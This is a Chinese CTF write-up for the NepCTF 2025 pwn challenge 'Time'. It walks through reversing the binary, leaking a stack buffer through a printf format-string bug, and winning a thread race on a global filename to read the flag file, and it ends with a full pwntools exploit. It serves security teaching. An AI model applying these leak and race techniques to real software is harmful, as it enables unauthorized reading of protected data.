-
-
[原创]NepCTF 2025 Pwn赛题Time解析:如何利用多线程时间差攻破系统?
-
发表于: 2025-7-31 18:09 646
-
Time
前言
题目名:Time
解题数:101
题目描述:时间就是答案。
知识点:格式化字符串漏洞、多线程时间竞争实现竞态绕过(全局变量改写)
竞态(Race):多个操作并发执行时争夺资源,结果取决于执行顺序。
逆向分析
拖入IDA分析,找到main函数:

main函数先调用inputName函数允许我们输入name:

我们输入的name被存储到全局变量,然后程序会执行fork函数创建子进程。
fork函数原型:
1 | pid_t fork(); |
创建成功会返回子进程的pid,然后父进程使用wait函数等待子进程结束。
此时,子进程会执行execve函数执行/bin/ls / -al命令输出根目录的文件列表,执行完毕后子进程结束。
子进程结束后,父进程输出good luck并返回到main函数继续执行。
此时,main函数循环调用inputFilename函数让我们输入文件名:

程序会将我们的输入与flag进行比较,若输入非flag字符串,则返回True允许向下继续执行。
当我们输入非flag字符串后,程序会启动线程并调用start_routine函数:
1 | pthread_create(&newthread, 0LL, (void *(*)(void *))start_routine, 0LL); |
继续分析start_routine函数:

根据输出,我们可以推断出它根据文件名读入文件内容,并计算MD5后输出。
然后将文件内容读入到buf变量,并执行printf(name)函数输出name触发格式化字符串漏洞。
利用思路
格式化字符串泄露数据
显而易见,利用思路非常简单,文件内容被读入到buf变量但没有输出。
程序执行了printf(name),存在格式化字符串漏洞,我们的目的是泄露存储在buf中的文件内容。
为了通过格式化字符串漏洞泄露栈上变量buf的内容,我们需要通过动态调试计算出buf变量的偏移量。
我们在程序运行目录下创建hint.txt文件,并写入flag{123},然后在printf(name)处下断点:
1 2 3 4 5 | gdb.attach(p, 'b *$rebase(0x2D0B)\nc')pause()p.sendlineafter(b'please input your name:\n', b'a'*8)p.sendlineafter(b'input file name you want to read:\n', b'hint.txt') |
此时,会发现无法触发这个断点,是因为gdb尝试脱离(detach)父进程并附加(attach)子进程。
我们可以在gdb中使用set follow-fork-mode patrent让gdb始终保持对父进程的附加调试。
1 2 | gdb.attach(p, 'set follow-fork-mode parent\nb *$rebase(0x2D0B)\nc')pause() |
此时,程序会断点在printf(name)函数处:

我们使用search命令搜索hint.txt中的内容:

发现它所处的内存地址为0x7f4e78cc6a60,这也是buf变量在栈中的位置。
当前的栈顶地址为0x7f4e78cc69e0,而printf函数的第一个参数为格式化字符串(rdi寄存器)。
因此,偏移量应该从第2个参数开始计算,其余参数分别通过rsi、rdx、rcx、r8、r9、栈传递。
栈顶位置的数据应该为printf函数的第6个参数,所以buf变量应该为printf函数的第6 + (0x7f4e78cc6a60-0x7f4e78cc69e0) / 8 = 23个参数。
因此,我们需要使用%22$p泄露该地址处的数据(printf函数的第一个参数为格式化字符串,%1$p代表printf函数的第二个参数)。
1 2 3 4 5 6 | p.sendlineafter(b'please input your name:\n', b'%22$p')p.sendlineafter(b'input file name you want to read:\n', b'hint.txt')p.recvuntil(b'hello ')leak_data = int(p.recvuntil(b' ,your file read done!\n', drop=True), 16)leak_data = leak_data.to_bytes(8, byteorder='little') |
此时,可以泄露出的内容为:
1 | b'flag{123' |
发现并不完整,因为我们的实际flag长度大于8个字节,我们需要继续泄露高地址处的数据。
1 2 3 4 5 6 7 | p.recvuntil(b'hello 0x')leak_data = p.recvuntil(b' ,your file read done!\n', drop=True)leak_data = leak_data.split(b'0x')for x in leak_data: tmp = int(x, 16) tmp = tmp.to_bytes(8, byteorder='little') print(tmp, end='') |
此时,可以成功泄露出hint.txt的内容:
1 | b'flag{123'b'}\n\x00\x00\x00\x00\x00\x00' |
我们已经通过printf(name)函数泄露的栈上的buf变量,如果我们输入的文件名是flag则可以直接泄露flag的内容。
但是,我们在分析inputFilename函数时发现,如果我们输入的文件名为flag,则不会执行start_routine函数。
条件竞争绕过检查
前面的分析中,我们发现每次输入文件名后程序并不是直接执行start_routine函数,而是通过pthread_create创建新的线程执行。
这就存在时间竞争漏洞,逻辑如下:
- 我们在
inputFilename函数中输入合法的文件(非flag)从而通过程序的检查。 - 程序通过
pthread_create启动一个新线程,新线程执行start_routine函数,访问全局变量file(文件名)。 - 主线程进入下一次循环,在新线程执行前/执行期间,再次篡改这个全局变量file。
- 导致子线程原本应该依赖未修改值file读入文件的内容,结果读入修改后的file的文件内容,从而造成逻辑绕过。
编写脚本(可能需要多次运行):
1 2 3 4 5 6 7 8 9 10 11 12 | p.sendlineafter(b'please input your name:\n', b'%22$p%23$p%24$p')p.sendline(b'hint.txt')p.sendline(b'flag')p.recvuntil(b'hello 0x')leak_data = p.recvuntil(b' ,your file read done!\n', drop=True)leak_data = leak_data.split(b'0x')for x in leak_data: tmp = int(x, 16) tmp = tmp.to_bytes(8, byteorder='little').decode() print(tmp, end='') |
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | from pwn import *elf = ELF("./time")libc = ELF("./libc.so.6")p = process([elf.path])context(arch=elf.arch, os=elf.os)context.log_level = 'debug'# gdb.attach(p, 'set follow-fork-mode parent\nb *$rebase(0x2D0B)\nc')# pause()# 格式化字符串漏洞泄露buf内容p.sendlineafter(b'please input your name:\n', b'%22$p%23$p%24$p')# 时间竞争p.sendline(b'hint.txt')p.sendline(b'flag')# 将泄露出的十六进制转文本p.recvuntil(b'hello 0x')leak_data = p.recvuntil(b' ,your file read done!\n', drop=True)leak_data = leak_data.split(b'0x')for x in leak_data: tmp = int(x, 16) tmp = tmp.to_bytes(8, byteorder='little').decode() print(tmp, end='')p.interactive() |
[培训]Windows内核深度攻防:从Hook技术到Rootkit实战!